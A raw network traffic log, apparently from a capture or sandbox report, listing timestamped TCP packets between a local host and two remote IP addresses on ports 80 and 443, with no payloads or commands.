Nov 23, 2024 18:22:37.222517014 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.222579002 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.223256111 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.223292112 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.223335981 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.223356009 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.224070072 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.224137068 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.224154949 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.224241018 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.224961996 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.224999905 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.225049019 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.225729942 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.225785971 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.225826025 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.225869894 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.226603031 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.226660013 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.226679087 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.226725101 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.227406025 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.227441072 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.227454901 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.227605104 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.228180885 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.228306055 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.228353024 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.229011059 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.229119062 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.229165077 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.229837894 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.229914904 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.229918957 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.229953051 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.230679035 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.230726004 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.230773926 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.230815887 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.231528997 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.231645107 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.231646061 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.231692076 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.232292891 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.232346058 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.232366085 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.232414007 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.233222008 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.233324051 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.233339071 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.233395100 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.233927965 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.233969927 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.234014034 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.234055996 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.247472048 CET	49830	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:37.247507095 CET	49830	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:37.247555017 CET	443	49830	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:37.265516996 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.265569925 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.265580893 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.265625000 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.266128063 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.266201973 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.266264915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.266320944 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.267649889 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.267667055 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.267699003 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.267712116 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.269373894 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.269419909 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.269489050 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.269553900 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.279248953 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.279294968 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.279340029 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.279356956 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.279376984 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.279402971 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.280153036 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.280261040 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.280322075 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.280910969 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.281061888 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.281114101 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.281728983 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.281789064 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.281826019 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.281876087 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.282562017 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.282605886 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.282665014 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.282712936 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.283427000 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.283473969 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.283488989 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.283643007 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.284193039 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.284244061 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.284317970 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.284364939 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.285017967 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.285065889 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.285172939 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.285217047 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.286272049 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.286328077 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.286391973 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.286514997 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.286838055 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.286890030 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.286921978 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.286967993 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.287481070 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.287528038 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.287601948 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.287652969 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.324213982 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.324253082 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.324284077 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.324292898 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.324315071 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.324331045 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.324371099 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.325017929 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.325062037 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.325123072 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.325165987 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.325901031 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.325958967 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.325994015 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.326057911 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.326639891 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.326697111 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.326868057 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.326917887 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.327486038 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.327533007 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.327611923 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.327655077 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.328283072 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.328351021 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.328418970 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.328577042 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.329104900 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.329241991 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.329288960 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.329962969 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.330039024 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.330065966 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.330105066 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.330769062 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.330812931 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.330840111 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.330881119 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.331579924 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.331650019 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.331664085 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.331727028 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.332391024 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.332434893 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.332508087 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.332549095 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.333252907 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.333297014 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.333400011 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.333581924 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.389410019 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.389424086 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.389441013 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.389472961 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.389487028 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.389573097 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.389611959 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.390180111 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.390228033 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.390285969 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.390328884 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.390971899 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.391016960 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.391064882 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.391176939 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.391894102 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.391937971 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.392014980 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.392170906 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.392616987 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.392698050 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.392736912 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.393457890 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.393502951 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.393570900 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.393613100 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.394371033 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.394418955 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.394551039 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.394601107 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.395145893 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.395191908 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.395770073 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.395787001 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.395802975 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.395812035 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.395819902 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.395829916 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.395837069 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.395838022 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.395858049 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.395870924 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.396414995 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.396459103 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.396480083 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.396497011 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.396537066 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.396596909 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.397175074 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.397212029 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.397222042 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.397238970 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.397264957 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.397279024 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.397347927 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.397387981 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.397989988 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.398030996 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.398188114 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.398221970 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.398230076 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.398238897 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.398261070 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.398272991 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.398366928 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.398407936 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.399133921 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.399179935 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.399198055 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.399219036 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.399245977 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.399298906 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.399874926 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.399900913 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.399915934 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.399915934 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.399944067 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.399957895 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.400001049 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.400041103 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.400667906 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.400707006 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.400716066 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.400732040 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.400757074 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.400768995 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.400818110 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.401393890 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.401535034 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.401561022 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.401575089 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.401575089 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.401598930 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.401613951 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.401649952 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.402365923 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.402401924 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.402407885 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.402419090 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.402436018 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.402457952 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.402467966 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.403161049 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.403182030 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.403198957 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.403228998 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.403243065 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.403290033 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.404071093 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.404087067 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.404103041 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.404113054 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.404139042 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.404139996 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.404182911 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.405101061 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.405127048 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.405143023 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.405160904 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.405170918 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.405194044 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.405216932 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.406055927 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.406070948 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.406086922 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.406111956 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.406141043 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.406168938 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.406168938 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.406717062 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.406744003 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.406760931 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.406786919 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.406802893 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.406924009 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.407609940 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.407625914 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.407643080 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.407654047 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.407660961 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.407674074 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.407699108 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.408334970 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.408380985 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.408396006 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.408411980 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.408452034 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.408512115 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.409255028 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.409281015 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.409296036 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.409296989 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.409317970 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.409323931 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.409342051 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.409363031 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.410156012 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.410182953 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.410196066 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.410198927 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.410217047 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.410226107 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.410254002 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.410860062 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.410908937 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.410913944 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.410924911 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.410943031 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.410948992 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.410969973 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.410981894 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.411580086 CET	80	49822	185.215.113.16	192.168.2.4
